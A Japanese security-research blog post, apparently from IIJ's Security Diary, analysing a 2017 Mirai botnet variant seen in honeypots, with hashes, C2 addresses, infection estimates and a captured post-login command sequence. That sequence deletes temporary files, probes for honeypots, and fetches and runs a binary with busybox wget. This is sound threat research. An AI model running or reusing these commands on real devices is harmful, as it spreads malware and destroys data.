IIJ-SECT

IIJ

 

Security Diary

HOME > Security Diary > Mirai 亜種の活動状況について

Mirai 亜種の活動状況について

前回の記事 では、IIJ のマルウェア活動観測プロジェクト MITF のハニーポットに到達する通信の特徴から、Mirai および Hajime ファミリーの活動について紹介しました。本記事ではこれまでに知られている通信パターンに合致しない Mirai 亜種の最近の活動状況について解説します。

前回の記事でも触れたように、Mirai は感染活動を行う前にまずインターネット上に存在する IoT 機器のスキャンを行いますが、この時のスキャンのパケットにおける TCP の初期シーケンス番号と宛先 IP アドレスは同じになります[1]。Mirai は昨年ソースコードが公開されたため、コードを流用している亜種の多くが共通して同じ特徴を持っています。しかし中にはこの特徴と一致しない亜種も存在することが解析結果からわかっています。ここでは、中でも最近特に活発に活動している 1つの亜種について取り上げます。

通信の特徴

この Mirai 亜種は 2017年 4月頃から MITF ハニーポットで観測されはじめ、そのスキャン通信は以下のような特徴を持っています。

  • TCP の初期シーケンス番号は 0
  • TCP のウィンドウサイズは 65535
  • 23/tcp および 2323/tcp に対してスキャンを実施 (9 : 1 の割合)


10回のうち 1回 2323/tcp をスキャンするのはオリジナルの Mirai と同じ動きですが、初期シーケンス番号は先程述べた特徴とは一致していません。

この検体がスキャンを実行する時のパケットキャプチャを以下に示します。23/tcp および 2323/tcp に対してスキャンを行っており、上記の特徴を持っていることがわかります。

fig1

対応アーキテクチャ

以下のアーキテクチャに対応した検体を IIJ では確認しています[2]。これらは感染時にダウンロードされるファイルの拡張子として使われています。

  • armv4l
  • i586
  • mips
  • mipsel
  • powerpc
  • sh4


観測されている検体

4月以降、数回にわたってバイナリが更新されていることを確認していますが、現時点で活動が観測されているのは以下のハッシュ値をもつ検体です。

ファイル名 SHA256ハッシュ
81c4603681c46036.armv4l e11512be452867311a3c9112d2e4796e1b5073269cd4cc52544b8158eeb0c2a8
81c4603681c46036.i586 ea005f9a03a0907b987a785fef0019959c4d16e18d1901f099e64d4daaa028c0
81c4603681c46036.mips 1e90ef7656efe7b41061e8e820018766c290664ad4391b5818805d08a706cf52
81c4603681c46036.mipsel 0c9ce3511f7a08af4c1f1ca1677f0fb2f8e2043defce067bcc48bd69ddd64455
81c4603681c46036.powerpc 1a52148d301396a4a912d886c4cbed065a15bee875dbc796c28cee05a85eda8c
81c4603681c46036.sh4 2732805680bb1319db5b17fead2dd48493a54e5ad54f4a026758ccb9f79482db

C2 通信

C2 (Command & Control) の IP アドレスはバイナリの中にハードコードされており、過去に何度か変更されています。IIJ で確認している C2 のアドレスおよびポート番号は次のとおりです。

  • 109.236.91[.]226 (5月)
  • 91.211.3[.]102 (5月〜9月)
  • 5.188.11[.]112 (9/7〜)
  • ポート番号 6745/tcp, 6755/tcp, 6765/tcp


なおこの Mirai 亜種のユニークな動きとして、感染時に C2 サーバの 6765/tcp ポートに接続し、認証試行に利用するユーザ ID とパスワードのリストをダウンロードします。このリストの内容も時期によって更新されていることを確認しています。このダウンロード通信の 16進ダンプを以下に示します。

fig2

送信コマンド

感染の手法はオリジナルの Mirai など他のボットと似ており、IoT 機器にデフォルトで設定されているユーザ ID とパスワードを利用して telnet でログインし、対象機器に感染します。MITF ハニーポットにおいて観測された、ログイン後に実行されるコマンドの例を以下に示します。(IP アドレスなど一部の情報はマスクしてあります。)

enable
system
shell
sh
/bin/busybox wget; /bin/busybox 81c46036wget; /bin/busybox echo -ne '\x0181c46036\x7f'; /bin/busybox printf '\00281c46036\177'; /bin/echo -ne '\x0381c46036\x7f'; /usr/bin/printf '\00481c46036\177'; /bin/busybox tftp; /bin/busybox 81c46036tftp;
/bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox cat /proc/mounts && /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* ./81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /dev/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /etc/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /var/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /var/tmp/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* //81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /proc/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /dev/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /dev/shm/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /tmp/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox wget -O - http://xxx.xxx.xxx.xxx/81c4603681c46036/81c4603681c46036.i586 > ./81c4603681c46036.i586 && /bin/busybox chmod 777 ./81c4603681c46036.i586 && /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'

echo や print などが多数実行されていますが、これは実際のコマンド出力とハニーポットの実装における出力との差異を利用した、ハニーポット検出の手法と考えられます。対象機器のアーキテクチャ判別を行ったあと、最終的には wget または tftp コマンドを利用してバイナリをダウンロードし実行しています。

通信の推移

2017年 4月から 8月の期間に IIJ のハニーポットに到達した通信 (スキャンのパケット) のうち、この Mirai 亜種の通信の特徴に合致するものを以下に示します。5月後半から 8月まで活発に活動している様子がわかります。前回の記事で示した Mirai およびその亜種の活動の規模と比較すると、およそ 2割程度に相当します。

fig3

感染数

MITF ハニーポットに到達した通信のユニークな送信元 IP アドレス数による推定では、8月末時点で 4万台程度がこの Mirai 亜種に感染していると考えられます。8月に観測された通信の送信元アドレスの国別分布を以下に示します。

fig4

この亜種の活動は 9月に入っても衰えておらず、引き続き活発な活動を続けています。IIJ ではこうした IoT ボットの感染活動を今後も継続して観測していきます。


  1. Mirai については IIR Vol.33 のフォーカスリサーチ「1.4.1 Mirai Botnet の検知と対策」を参照。 https://www.iij.ad.jp/company/development/report/iir/033/01_04.html ↩

  2. 以前は m68k, sparc にも対応していましたが、現在は確認できていません。 ↩

-
 
カテゴリー :
セキュリティ事件  
タグ :
Malware   IoT  
この記事のURL :
https://sect.iij.ad.jp/d/2017/09/145930.html